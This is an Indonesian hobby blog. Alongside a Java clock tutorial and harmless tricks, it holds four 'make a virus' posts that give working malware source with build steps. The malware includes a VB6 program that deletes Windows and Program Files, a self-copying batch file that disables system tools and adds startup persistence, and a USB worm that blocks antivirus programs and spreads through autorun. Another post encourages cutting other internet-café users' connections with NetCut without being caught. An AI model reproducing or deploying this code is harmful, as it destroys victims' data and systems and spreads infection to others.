Membuat Jam Digital dengan NetBeans

⊆ 6:05 PM by ANAK MAMI | ˜ 0 comments »

Sebelum menggunakan NetBeans, jangan lupa terlebih dahulu instal JDK (Java Development Kit).

//---------------------script---------------------//

/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

package jam_digital;
import java.awt.Color;
import java.awt.Font;
import java.awt.FontMetrics;
import java.awt.Graphics;
import java.util.Date;
import javax.swing.JFrame;
import javax.swing.JPanel;

/**
*
* @author Champerz
*/

public class JamDigital extends JPanel {


//Deklarasi Variable
JFrame frame;

int currentHour;
int currentMinute;
int currentSecond;

//Set Font
Font myFont = new Font("Painter", Font.BOLD, 30);

//Set Color
Color myColor = new Color(0, 10, 255);

//Save Font Information.
FontMetrics fm;

public JamDigital() {
//Create a window using JFrame with title ( Java Digital Clock )
frame = new JFrame("Digital Clock");


//add(this) mean add created panel into JFrame
//Which panel ?
//See line 98 and 20 (I hope you understand it)
frame.add(this);

//Set default close operation for JFrame
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

//Set Frame size
frame.setSize(220, 75);

//Make JFrame locate at center
frame.setLocationRelativeTo(null);

//Make JFrame visible
frame.setVisible(true);
frame.setResizable(false);
// frame.setBounds(450, 300, 0, 0);
// frame.setUndecorated(false);

/*
*Loop that will make sure panel show current time
*like current second, current minute and current hour.
*/
while (true) {
//It will do all code in method paint(See line 71)
repaint();

try {
Thread.sleep(900);
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
@Override
public void paint(Graphics g) {
super.paint(g);

/*
*Create current Date object. It means it store information
*about current hour, minute and second.
*/
Date myDate = new Date();

currentHour = myDate.getHours();
currentMinute = myDate.getMinutes();
currentSecond = myDate.getSeconds();

//Set font that will use to draw digital number
g.setFont(myFont);

//Information about distance between number in digital clock
fm = g.getFontMetrics();
int hourXCoordinate = 20;
int minuteXCoordinate = hourXCoordinate + (fm.getMaxAdvance() * 2);
int secondXCoordinate = hourXCoordinate + (fm.getMaxAdvance() * 4);

//Set color that will use to draw digital number
g.setColor(myColor);

//Draw hour, draw (:) between number, draw minute and draw second.
g.drawString(Integer.toString(currentHour), hourXCoordinate, 30);
g.drawString(":", (hourXCoordinate + minuteXCoordinate) / 2, 30);
g.drawString(Integer.toString(currentMinute), minuteXCoordinate, 30);
g.drawString(":", (secondXCoordinate + minuteXCoordinate) / 2, 30);
g.drawString(Integer.toString(currentSecond), secondXCoordinate, 30);
}

public static void main(String[] args) {
JamDigital sdc = new JamDigital();
}
}

//---------------------script---------------------//

Hasil dari script diatas.

 

NetCut

⊆ 8:23 PM by ANAK MAMI | ˜ 0 comments »

NetCut Singkatan dari Network Cutting. Network berarti Jaringan, sedangkan Cutting berarti memotong atau menggunting. Jadi kalo didefinisikan secara keseluruhan NetCut berarti memotong atau memutus koneksi pada suatu jaringan.


NetCut sangat berguna jika diwarnet sedang ramai sehingga koneksi menjadi lemodh, maka disinilah NetCut berperan untuk memutus "tetangga sebelah", jangan menggunakan NetCut secara berlebihan. jika kita memutus koneksi tetangga sebalah terlalu lama, bisa" tetangga melapor ke operator warnet.
gunakan akal licik kalian, hahahahahah....
jangan sampai ketahuan operator warnet ataupun tetangga sebelah, kalo ketauan bisa-bisa ente di tendang dari warnet. heheheheh......

software NetCut bisa anda download disini.

Cara penggunaan NetCut sangat Mudah, Tinggal Instal saja.
Dalam peroses Instalasi NetCut secara otomatis akan menginstal WinPcap.

setelah instalasi selesai, tinggal jalankan aja NetCutnya.


setelah d jalankan tinggal pilih host mana yang bakalan dipotong.
lalu klik cut off untuk memotong koneksi.

jika ada netcut pasti juga ada antinya.
Anti NetCut bisa di download disini.

 

Lampu Disco

⊆ 4:37 PM by ANAK MAMI | ˜ 0 comments »

Mo bikin lampu disco di komputer sendiri...??? heheheh...
langsung aje ye....

1. Buka notepad.....
2. copy paste script di bawah ini.....
---------------------------------------------------------------------------------------
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

---------------------------------------------------------------------------------------

3. save file dengan nama Disko.vbs, jangan lupa ubah terlebih dahulu save as type menjadi all file.......... atau terserah lho dengan nama apa, asal harus ber-ekstensi (.vbs)............

4. kl dh di save..... coba eksekusi filenya.... n' lihat lampu capslock, numlock, scrolllock pada keyboard akan menyala secara bergantian seperti lampu disco....heheheheh

langsung dh matiin lampu kamar.... serasa da di club kand......qeqeqeqeqeqe.........
fungsi script ini bukan buat bikin lampu disco aja.. sekaligus bikin tulisan lho jadi gede-kecil gede-kecil.....n bisa juga buat ngrjain temen lho...... heheh :) becanda pisss.....

NOTE : w harap lho bisa lebih bijak dalam nentuin langkah hidup lho............

 

Membuat Virus 4

⊆ 10:48 AM by ANAK MAMI | ˜ 0 comments »

Kali ini kita akan membuat virus yang kerjanya merestart komputer, virus ini cukup mematikan, simple dan mungkin kaga kedetect AV.
yang diperluin dalam membuat virus ini :
1. Visual Basic 6.0 (Required).
2. Mengerti bahasa pemrograman Visual Basic serta tool's nya.

kalo belum punya VISUAL BASIC (portable) download aja DISINI.

Lets' Begin..........!!!!

1. Bikin Form sekecil mungkin.
2. dalam form, tulis code dibawah ini.


-------------------------------------------------------------------------------------------------

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End

Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32?)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)

End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

-------------------------------------------------------------------------------------------------

3. Kode yang warna biru itu penangkal nih virus, barang kali anda gak sengaja mengklik jadi anda selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, jadi anda gak bakal keserang sendiri… bisa anda edit koq, jadi apa gitu…
Yang warna merah itu folder yang bakal didelete sama virus ini, bisa anda edit sendiri.........
4. Beri nama project ini seperti nama system, contoh "SystemKernel32" jadi ga bakal dicurigain
5. Jangan pernah memberi nama anda di virus ini....?
6. compile deh…!!!

 

Membuat Virus 3

⊆ 3:12 PM by ANAK MAMI | ˜ 0 comments »

Pada beberapa website dan blog dijelaskan tentang pembuatan Virus menggunakan notepad. Tetapi pada tutorial tersebut menggunakan ekstensi *.vbs yang artinya menggunakan bahasa Basic/Visual Basic Script.
Sekarang saya akan menjelaskan sedikit tentang membuat virus menggunakan notepad dan menggunakan bahasa DOS dan nantinya virus ini akan menggunakan ekstensi *.bat atau kita akan membuat batch file yang intinya merusak suatu sistem. Dalam pembuatan virus ini anda tidak perlu dituntut mengerti tentang pemrograman, hanya saja anda pernah mengerti/belajar tentang DOS (belum mengerti juga tidak apa-apa)

Nah sekarang silahkan buka notepad, lalu ketikkan script di bawah ini atau apabila anda malas untuk mengetikkannya maka silahkan lakukan copy-paste.

---------------------------------------------------------------------------------------------------------------

echo off
for %%p in (C D E F G H I J K L M N) do copy %0 %%p:
for %%d in (*.jpg) do attrib +h +s %%d:\*.jpg /s

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /d 1 /t REG_DWORD /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /d 1 /t REG_DWORD /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /d 1 /t REG_DWORD /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifkan /t REG_SZ /d C:\u-hurt-me.bat /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4 /f
REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout /v ScancodeMap /t REG_BINARY /d 00 00 00 00 00 00 00 00 03 00 00 00 00 00 5B E0 00 00 5C E0 00 00 00 00 /f

---------------------------------------------------------------------------------------------------------------
Setelah anda selesai mengetik script di atas, lalu simpan dengan nama terserah anda dan jangan lupa memberikan akhiran *.bat, contoh (down.bat).

Sedikit penjelasan mengenai virus ini..
  1. Menggandakan dirinya ke dalam beberapa drive.
  2. Menyembunyikan file-file image yang berekstensi jpg.
  3. Fasilitas Run, Command Prompt, Folder Options, Search, dan Start Menu Programs dihilangkan.
  4. Menutup akses ke regedit, command prompt, drive C sebagai system.
  5. Men-disable tombol windows pada keyboard.

Apabila ingin lebih menyeramkan lagi tambahkan script berikut ini untuk menutup System Restore.
---------------------------------------------------------------------------------------------------------------
REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 1 /f

---------------------------------------------------------------------------------------------------------------
Warning !!!
Apapun yang terjadi pada anda/komputer, Diluar tanggung jawab saya.
Saya berharap anda bisa lebih bijak dalam menentukan langkah yang akan anda tempuh (Jadilah manusia yang baik atau tidak sama sekali).

Terima kasih...

 

Membuat Virus 2

⊆ 2:59 AM by ANAK MAMI | ˜ 0 comments »

1. Buka Notepad
2. Copy kan kode dibawah ini:


on error resume next

dim rekur,syspath,windowpath,
desades,longka,mf,isi,tf,F0nAb0530,nt,check,sd

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe Mila.sys.vbs”

set longka = createobject(“Scripting.FileSystemObject”)

set mf = longka.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

Set windowpath = longka.getspecialfolder(0)

Set syspath = longka.getspecialfolder(1)

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 32

set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)

tf.write rekur

tf.close

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 39

for each desades in longka.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes =32

set tf=longka.createtextfile(desades.path &”\Mila.sys.vbs”,2,true)

tf.write rekur

tf.close

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes = 39

set tf =longka.getfile(desades.path &”\autorun.inf”)

tf.attributes = 32

set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)

tf.write isi

tf.close

set tf = longka.getfile(desades.path &”\autorun.inf”)

tf.attributes=39

end if

next

set F0nAb0530 = createobject(“WScript.Shell”)

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: F0nA ::”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “F0nAb0530-X2/1″

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “F0nAb0530-X2″

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Aku Sayang Mila”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.macancrew.net”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”“

if check 1 then

Wscript.sleep 200000

end if

loop while check 1

set sd = createobject(“Wscript.shell”)

sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname


3. Simpan dengan nama Mila.sys.vbs

 

Membuat Folder Rahasia

⊆ 4:29 PM by ANAK MAMI | ˜ 0 comments »

Membuat Folder Rahasia Bila, anda memiliki folder pribadi yang rahasia. Tentu, anda tidak ingin folder rahasia anda itu di buka atau dilihat orang lain. Mungkin, selama ini anda menyimpan folder rahasia anda itu di dalam folder-folder anda yang lain, sehingga tidak mudah ditemukan orang lain.

Atau, anda menghidden file anda sehingga tidak bisa dilihat orang lain.

Tapi, bagaimana kalau orang yang mencari folder rahasia anda itu adalah orang yang rajin? tentu dia akan menemukannya. Dan, Menghidden file juga bukan merupakan hal yang sulit lagi, Sudah hampir semua pengguna komputer tahu, cara untuk menghidden, dan menampilkannya lagi.

Kini, anda tidak perlu khawatir lagi! Karena, disini anda akan belajar bahasa pemograman yang bisa mengubah file anda menjadi yang tidak bisa dibuka oleh orang lain.

Let`s begin..........!

Langkah-langkah:
1. buka notepad.

2. copy + paste bahasa pemograman (yang berhuruf tebal) di bawah ini ke notepad anda:

ren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}

(ganti movies movies dengan nama folder anda: misal, folder anda bernama “virus”
Hasilnya adalah)

ren virus virus.{21EC2020-3AEA-1069-A2DD-08002B30309D}

save notepad dengan nama lock.bat. sebelum disave, pastikan “save as type”
diubah ke “all files”


3. Ingat! folder rahasia anda harus berada di satu tempat dengan lock.bat,
yang sudah anda buat tadi. Contoh:


4. Coba Klik ”Lock.bat”
Maka folder ”virus” akan berubah menjadi control panel.

bila ada orang yang masuk ke folder virus, maka orang tersebut akan masuk ke
control panel, dan tidak akan pernah bisa masuk ke folder ”virus” yang sebenarnya.

 

Membuat Virus 1

⊆ 2:53 PM by ANAK MAMI | ˜ 0 comments »

Membuat virus dengan notepad.

Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.
Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali.

Let`s Begin!

langkah-langkah:

1. buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:

----------------------------------------------------------------------------------------------------------------------
option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next

----------------------------------------------------------------------------------------------------------------------
3. Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.